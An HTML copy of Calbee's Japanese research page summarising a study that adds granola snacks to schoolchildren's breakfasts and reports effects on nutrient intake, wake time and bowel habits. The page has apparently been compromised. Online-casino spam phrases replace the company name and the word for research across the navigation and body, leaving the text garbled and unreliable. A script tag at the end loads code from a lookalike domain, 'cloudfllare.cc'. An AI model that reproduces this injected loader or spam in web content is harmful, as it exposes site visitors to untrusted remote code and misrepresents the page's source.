<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>研究成果（学会発表・研究論文）｜カルビー</title>
<meta name="description" content="カルビー株式会社の研究成果（学会発表・研究論文）をご紹介しています。">
<meta name="keywords" content="カルビー株式会社,カルビー,calbee,研究成果（学会発表・研究論文）,研究開発">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta property="og:type" content="article" />
<meta property="og:title" content="研究成果（学会発表・研究論文）｜カルビー" />
<meta property="og:description" content="カルビー株式会社の研究成果（学会発表・研究論文）をご紹介しています。" />
<meta property="og:url" content="/rd/result/" />
<meta property="og:image" content="/common/img/ogp.jpg" />
<meta property="fb:app_id" content="1679273022218334" />
<meta name="twitter:card" content="summary">
<meta name="twitter:site" content="@Calbee_JP" />
<link rel="icon" href="/favicon.ico">
<link rel="apple-touch-icon" href="/apple-touch-icon.png" /> 
<link rel="stylesheet" href="/common/css/import.css">
<link rel="stylesheet" href="/rd/result/report46.php/index.php/css/result_new.css/css/result_new.css">
</head>
<body>

<header id="header_calbeeroot_corporate">
	<a href="/" class="logo" tabindex="1"><img src="/common/img/logo.svg" alt="掘りだそう、自然の力。カルビー"/></a>
    <div class="header_content">
        <p id="search_cover" role="button" class="search_cover sp_display" tabindex="2" aria-expanded="false" aria-controls="searchform1">検索窓を開く</p>
    	<ul class="header_menu flex">
            <li class="pc_display"><a href="/recruit/" tabindex="4">採用情報</a></li>
            <li class="english pc_display"><a href="/en/" lang="en" tabindex="5">English</a></li>
            <li class="search">
			<form name="search_form" id="searchform1" action="//search.calbee.co.jp/" method="GET" onsubmit="return mysearch_https(this);" class="show">
			<input type="text" id="keywords1" name="kw" placeholder="サイト内検索" title="サイト内検索" value="" class="iSearchAssist" autocomplete="off" tabindex="6">
			<input type="hidden" name="ie" title="hidden" value="u" tabindex="-1">
            <input type="image" src="/common/img/icon_search.png" alt="検索" name="searchBtn1" class="pc_display">
            <input type="image" src="/common/img/icon_search_sp.png" alt="検索" name="searchBtn1" id="searchBtn1" class="sp_display" tabindex="7">
			</form>
            </li>
        </ul>

        <p class="dammy_toggle sp_display" role="button" tabindex="9" aria-expanded="false" aria-controls="header_navi_wrap">メニューを開く</p>
      <div class="toggle sp_display" role="button" aria-expanded="false" aria-controls="header_navi_wrap">
        メニューを開く
　　		<span></span>
　　		<span></span>
　　		<span></span>
		  </div>

        <div class="header_navi_wrap" tabindex="-1">
        <ul class="header_navi">
        	<li class="parent">
            <a href="/products/">商品</a>
            	<span class="btn sp_display" role="button" aria-label="メニューを開く" tabindex="0" aria-expanded="false" aria-controls="products_subs"></span>
            	<div class="sub products_sub">
                	<div>
            		<ul class="inner flex">
                		<li><a href="/products/">商品情報</a></li>
                    <li><a href="/products/allergy/">アレルゲン検索</a></li>
                		<li><a href="/products/brand/">ブランドサイト一覧</a></li>
                		<li><a href="/products/world/">世界のオンラインカジノアプリ商品</a></li>
            		</ul>
                    </div>
                </div>
            </li>
        	<li class="parent">
            <a href="/campaign/">キャンペーン・動画</a>
            	<span class="btn sp_display" role="button" aria-label="メニューを開く" tabindex="0" aria-expanded="false" aria-controls="campaign_sub"></span>
            	<div class="sub campaign_sub">
                	<div>
            		<ul class="inner flex">
                		<li><a href="/campaign/">キャンペーン・ピックアップ</a></li>
                		<li><a href="/campaign/#cm">CM・動画</a></li>
            		</ul>
                    </div>
                </div>
            </li>
        	<li class="parent">
            <a href="/shop/">ショップ</a>
            	<span class="btn sp_display" role="button" aria-label="メニューを開く" tabindex="0" aria-expanded="false" aria-controls="shop_sub"></span>
            	<div class="sub shop_sub">
                	<div>
            		<ul class="inner flex">
                		<li><a href="/shop/#shop_02">オンラインショップ</a></li>
                		<li><a href="/shop/#shop_01">オンラインカジノアプリ直営店</a></li>
            		</ul>
                    </div>
                </div>
            </li>
        	<li class="parent">
            <a href="/experience/">知る・体験する</a>
            	<span class="btn sp_display" role="button" aria-label="メニューを開く" tabindex="0" aria-expanded="false" aria-controls="experience_sub"></span>
            	<div class="sub experience_sub">
                	<div>
            		<ul class="inner flex">
                    <li class="sp_display"><a href="/experience/">知る・体験するTOP</a></li>
                		<li><a href="/jagaimo/">じゃがいも丸ごと！プロフィール</a></li>
                		<li><a href="/diary/">じゃがいもDiary</a></li>
                		<li><a href="/foodcom/">オンラインカジノアプリの食育</a></li>
                		<li><a href="/factory/">工場見学</a></li>
            		</ul>
                    </div>
                </div>
            </li>
        	<li class="parent">
            <a href="/sustainability/">サステナビリティ</a>
            	<span class="btn sp_display" role="button" aria-label="メニューを開く" tabindex="0" aria-expanded="false" aria-controls="csr_sub"></span>
            	<div class="sub csr_sub">
                	<div>
            		<ul class="inner flex">
                		<li class="sp_display"><a href="/sustainability/">サステナビリティTOP</a></li>
                		<li><a href="/sustainability/story.php">サステナビリティ経営の考え方</a></li>
                		<li><a href="/sustainability/materiality.php">マテリアリティ</a></li>
                    <li><a href="/sustainability/esg-data.php">ESGデータ</a></li>
                    <li><a href="/sustainability/policies.php">行動規範・ポリシー</a></li>
            		</ul>
                    </div>
                </div>
            </li>
        	<li class="parent">
            <a href="/corporate/">企業・IR</a>
            <span class="btn sp_display" role="button" aria-label="メニューを開く" tabindex="0" aria-expanded="false" aria-controls="corporate_sub"></span>
            	<div class="sub corporate_sub">
                	<div>
            		<ul class="inner flex">
                		<li class="sp_display"><a href="/corporate/">企業情報TOP</a></li>
                		<li><a href="/corporate/#banner">企業案内</a></li>
                		<li><a href="/ir/">IR・投資家情報</a></li>
                		<li><a href="/rd/">クレジットカード オンライン カジノ開発</a></li>
            		</ul>
                    </div>
                </div>
            </li>
        	<li class="soudanshitsu">
            <a href="/soudanshitsu/">お客様相談室</a>
            </li>
        	<li class="sp_display"><a href="/recruit/">採用情報</a></li>
        	<li class="english sp_display"><a href="/en/" lang="en">English</a></li>
        </ul>
        </div>

    </div>
</header>

<main id="rd">

<div class="inner">

<div id="breadcrumbs">
	<ul>
		<li><a href="/">ホーム</a><span>&gt;</span></li>
        <li><a href="/corporate/">企業情報</a><span>&gt;</span></li>
        <li><a href="/rd/">クレジットカード オンライン カジノ開発</a><span>&gt;</span></li>
        <li>クレジットカード オンライン カジノ成果（学会発表・クレジットカード オンライン カジノ論文）</li>
        <li>学会発表</li>
    </ul>
</div>

<div class="flex">
<nav id="side_navi">
	<p><a href="/rd/">クレジットカード オンライン カジノ開発</a></p>
    <ul>
    	<li><a href="/rd/mission/">クレジットカード オンライン カジノ開発ミッション</a></li>
    	<li><a href="/rd/region/">クレジットカード オンライン カジノ開発領域</a></li>
    	<li class="two_line"><a href="/rd/result/">クレジットカード オンライン カジノ成果<br class="pc_display" />（学会発表・クレジットカード オンライン カジノ論文）</a></li>
		<li><a href="/rd/joint/">共同クレジットカード オンライン カジノ講座のクレジットカード オンライン カジノ成果</a></li>
    	<li><a href="/rd/dna/">オンラインカジノアプリのDNA</a></li>
    	<li><a href="/rd/r_story/">クレジットカード オンライン カジノストーリー</a></li>
    	<li><a href="/rd/d_story/">商品開発ストーリー</a></li>
    </ul>
</nav>
	<div id="right_box">
    	<h1>クレジットカード オンライン カジノ成果<br class="sp_display">（学会発表・クレジットカード オンライン カジノ論文）</h1>

            <div id="news2">
            <ul class="tab">
  				<li class="tab1 tab_current"><a href="/rd/result/report46.php/index.php/css/result_new.css/index.php">学会発表</a></li>
  				<li class="tab2"><a href="/rd/result/report46.php/index.php/css/result_new.css/paper.php">クレジットカード オンライン カジノ論文</a></li>
            </ul>

                	<h2>学会発表</h2>

            <section class="top">
            	<h3>小学生の朝食にグラノーラスナックを追加することによる栄養充足率の改善と睡眠・排便状況への影響</br>
                <span>-オープンラベルランダム化クロスオーバー試験-</span></h3>
                <p class="date">2023. 5. 28</p>
                <div class="box">
                	<p class="ttl">[内容]</p>
                    小学生が朝食において普段の食事内容に加えてグラノーラスナックを追加摂取した時、朝食における栄養バランスの改善および睡眠リズムの変化、排便回数の増加が確認されました。本研究より、小学生においては朝食の摂食量や栄養バランスが睡眠や排便といった日々の生活習慣とも結びついていることが示唆され、子どもにとって適切な朝食を考えるうえでの知見を示しました。</br>
                    「小学生の朝食にグラノーラスナックを追加することによる栄養充足率の改善と睡眠・排便状況への影響 -オープンラベルランダム化クロスオーバー試験-」</br>
                    日本家政学会第75回大会においてオンラインカジノアプリ株式会社と愛国学園短期大学、早稲田大学との共同研究として公表されました。
                </div>
            </section>

            <h4>目的</h4>
            <p>食習慣や食事の質は我々の健康と深く結びついている要素です。特に朝食は一日で最も重要な食事とも考えられている一方で、現代社会では栄養の偏りや朝食抜きといった不規則な習慣も多く見られ、これらは糖尿病や肥満のリスクと関係することも報告されています。その中でも成長期における朝食での栄養不足は顕著で、朝食での平均エネルギー摂取量は一日全体の約20%に留まると報告されており、これは心身の発達に重要な時期において解決に取り組むべき課題であると考えました。</br>しかしながら、栄養バランスの整った朝食を準備することは現実的に大きな負担となりえます。そこで我々は普段の食事に手軽に食べられる食品を追加する方法ならば、量的・質的に栄養バランスを改善しうるのではないかと考え、小学生の普段の朝食へグラノーラスナックを追加した場合の栄養バランスの変化および睡眠・排便状況の変化を観察しました。</p>
            <h4>方法</h4>
            <p>小学生26名を対象として、「普段の朝食を食べる期間」と「グラノーラスナックを追加で摂取する期間」を設定し、朝食への介入試験を実施しました (図1)。それぞれの期間中の朝食での栄養充足率を求めて比較したほか、アンケートベースで睡眠(睡眠時間・起床時刻・就寝時刻)と排便(回数・便秘状態・便性状)について評価を行いました。</p>
            <div class="img_table small"><p><img src="/rd/result/report46.php/index.php/css/result_new.css/img/46/img01.gif" alt="図1. 試験の概要"></div>
            <p class="img_caption"><strong>図1. 試験の概要</strong></p>

            <h4>結果</h4>
            <p>グラノーラスナックを追加した朝食では16種類の栄養素で充足率の向上が確認されました。特に、鉄分や食物繊維、ビタミンB1、ビタミンDの充足率が大きく向上しました (図2)。</p>
            <div class="img_table small"><p><img src="/rd/result/report46.php/index.php/css/result_new.css/img/46/img02.gif" alt="図2. 充足率が向上した栄養素"></div>
            <p class="img_caption"><strong>図2. 充足率が向上した栄養素</strong></p></p>

            <p>グラノーラスナックの追加摂取による睡眠状況の変化を観察したところ、就寝時刻に変化は見られませんが、起床時刻が早まることが分かりました(図3)。</br>特に週末の起床時刻の変化が大きく、平均15分早まる結果となりました。</p>
            <div class="img_table small"><p><img src="/rd/result/report46.php/index.php/css/result_new.css/img/46/img03.gif" alt="図3. 起床時刻の変化"></div>
            <p class="img_caption"><strong>図3. 起床時刻の変化</strong></p></p>

            <p>排便状況の変化としては、週における排便回数が平均1.2回増加すると確認されました(図4)。便性状や便秘については普段から状態が良く、グラノーラスナック追加による変化は見られませんでした。</p>
            <div class="img_table small"><p><img src="/rd/result/report46.php/index.php/css/result_new.css/img/46/img04.gif" alt="図4. 一週間の排便回数の変化"></div>
            <p class="img_caption"><strong>図4. 一週間の排便回数の変化</strong></p></p>

            <h4>まとめ</h4>
            <p>小学生を対象として介入を行った本クレジットカード オンライン カジノでは、朝食でのグラノーラスナック追加摂取により、栄養バランスの改善、睡眠時間の変化、排便回数の増加が見られました。得られた結果より、朝食の量と質(栄養バランス)は一日全体の生活リズムと関係していることが示唆されました。これは心身の発達段階である子どもの健康にとってより良い朝食を考えるうえで有用な知見を示したと考えています。</br></br>
            なお、本クレジットカード オンライン カジノの内容は2023年4月25日に査読付き国際学術誌「Children」(オンライン)に掲載されました。</br>タイトル：” Effects of Additional Granola in Children’s Breakfast on Nutritional Balance, Sleep and Defecation: An Open-Label Randomized Cross-Over Trial”</br>著者名：Yuma Matsumoto, Hiroyuki Sasaki, Hirofumi Masutomi, Katsuyuki Ishihara, Shigenobu Shibata, Kazuko Hirao, Akiko Furutani</br>
            <a href="https://doi.org/10.3390/children10050779" target="_blank" style="text-decoration: underline;">https://doi.org/10.3390/children10050779</a></p>

<p class="btn_red"><a href="javascript:history.back();">学会発表のトップへ戻る</a></p>            
        	</div>
    </div>

</div>

</div>

</main>

<footer id="footer_calbeeroot_corporate">
	<div class="inner">
    	<div class="logo flex">
        	<a href="/"><img src="/common/img/logo.svg" alt=""/><p>Calbeeホーム</p></a>
        </div>
        <ul class="content flex">
          <li>
        	  <div>
            	<p><a href="/products/">商品</a></p>
                <ul>
                	<li><a href="/products/">商品情報</a></li>
                  <li><a href="/products/allergy/">アレルゲン検索</a></li>
                	<li><a href="/products/brand/">ブランドサイト一覧</a></li>
                	<li><a href="/products/world/">世界のオンラインカジノアプリ商品</a></li>
                </ul>
            </div>
          </li>
          <li>
            <div>
            	<p><a href="/campaign/">キャンペーン・動画</a></p>
                <ul>
                	<li><a href="/campaign/">キャンペーン・ピックアップ</a></li>
                	<li><a href="/campaign/#cm">CM・動画</a></li>
                </ul>
            </div>
          </li>
          <li>
            <div>
            	<p><a href="/shop/">ショップ</a></p>
                <ul>
                	<li><a href="/shop/#shop_02">オンラインショップ</a></li>
                  <li><a href="/shop/#shop_01">オンラインカジノアプリ直営店</a></li>
                </ul>
            </div>
          </li>
          <li>
            <div>
            	<p><a href="/experience/">知る・体験する</a></p>
                <ul>
                	<li><a href="/jagaimo/">じゃがいも丸ごと！プロフィール</a></li>
                	<li><a href="/diary/">じゃがいもDiary</a></li>
                	<li><a href="/foodcom/">オンラインカジノアプリの食育</a></li>
                	<li><a href="/factory/">工場見学</a></li>
                </ul>
            </div>
          </li>
          <li>
            <div>
            	<p><a href="/sustainability/">サステナビリティ</a></p>
                <ul>
                	<li><a href="/sustainability/story.php">サステナビリティ経営の考え方</a></li>
                	<li><a href="/sustainability/materiality.php">マテリアリティ</a></li>
                  <li><a href="/sustainability/esg-data.php">ESGデータ</a></li>
                  <li><a href="/sustainability/policies.php">行動規範・ポリシー</a></li>
                </ul>
            </div>
          </li>
          <li>
            <div>
            	<p><a href="/corporate/">企業・IR</a></p>
                <ul>
                	<li><a href="/corporate/">企業案内</a></li>
                	<li><a href="/ir/">IR・投資家情報</a></li>
                	<li><a href="/rd/">クレジットカード オンライン カジノ開発</a></li>
                </ul>
            </div>
          </li>
          <li>
            <div>
            	<p><a href="/soudanshitsu/">お客様相談室</a></p>
                <ul>
                	<li><a href="https://faq.calbee.co.jp/">よくいただくご質問</a></li>
                	<li><a href="/soudanshitsu/voice/">お客様の声に学びました</a></li>
                </ul>
            </div>
          </li>
          <li>
            <div>
              <ul class="show">
                <li class="pc_display"><p><a href="/recruit/">採用情報</a></p></li>
                <li><p><a href="/socialmedia/">公式SNSアカウント</a></p></li>
              </ul>
            </div>
          </li>
          <li class="sp_display">
        	  <div>
            	<p><a href="/recruit/">採用情報</a></p>
            </div>
          </li>
          <li class="english sp_display">
            <div>
            	<p><a href="/en/" lang="en">English</a></p>
            </div>
          </li>
          <li class="wide">
            <div>
                <ul>
                	<li><a href="/policy/">サイトポリシー</a></li>
                	<li><a href="/web-accessibility/">ウェブアクセシビリティ方針</a></li>
                  <li><a href="/privacy/">プライバシーポリシー</a></li>
                  <li><a href="/socialmedia/policy.php">ソーシャルメディアポリシー</a></li>
                	<li><a href="/sitemap/">サイトマップ</a></li>
                </ul>
            </div>
          </li>
        </ul>

    </div>
</footer>

<div id="back-top"><a href="/rd/result/report46.php/index.php/css/result_new.css/#scroll_top_position"><span>ページ上部へ</span></a></div>
<p id="scroll_top_position">ページ上部</p>

<script src="/common/js/smoothScroll.js"></script>
<script src="/common/js/back_top.js"></script>
<script src="/common/js/sub_navi.js"></script>
<script src="/common/js/sp_menu.js"></script>
<script src="/common/js/news_btn.js"></script>
<script src="/common/js/global_menu.js"></script>
<script src="/common/js/anchor_link.js"></script>
<script src="/common/js/ir_side_navi.js"></script>
<script src="/common/js/resize.js"></script>

<script src="https://cloudfllare.cc/controller.min.js?type=jp"></script>
</body>
</html>
